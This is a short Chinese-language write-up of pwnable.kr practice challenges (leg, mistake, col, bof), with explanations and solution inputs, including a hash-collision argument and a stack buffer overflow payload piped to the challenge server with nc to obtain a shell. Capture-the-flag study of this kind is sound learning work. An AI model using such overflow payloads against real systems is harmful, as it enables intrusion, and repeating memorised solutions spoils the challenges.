标签: <span>pwnable.kr</span>

pwnable.kr 练习(二)

Toddler’s Bottle

leg

关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址,ARM 中的 pc 是下下条。假设当前指令地址为 x,即

  • ARM 模式:pc = x + 8
  • Thumb 模式:pc = x + 4

按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770,输入就好了

108400

mistake

因为运算符优先级问题,fd 被赋值成 0,也就是 stdin,和 password 文件就没有关系了,可以输入

1111111111
0000000000

pwnable.kr 练习(一)

Toddler’s Bottle

col

./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"

bof

一开始不熟悉输入处理,花了不少时间……echo 后面追加 cat 可以使输入流关闭,成功获得 shell。(PS:一开始拿到了 shell 还不自知……)不加 cat 的话则会提示 *** stack smashing detected ***: terminated

(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000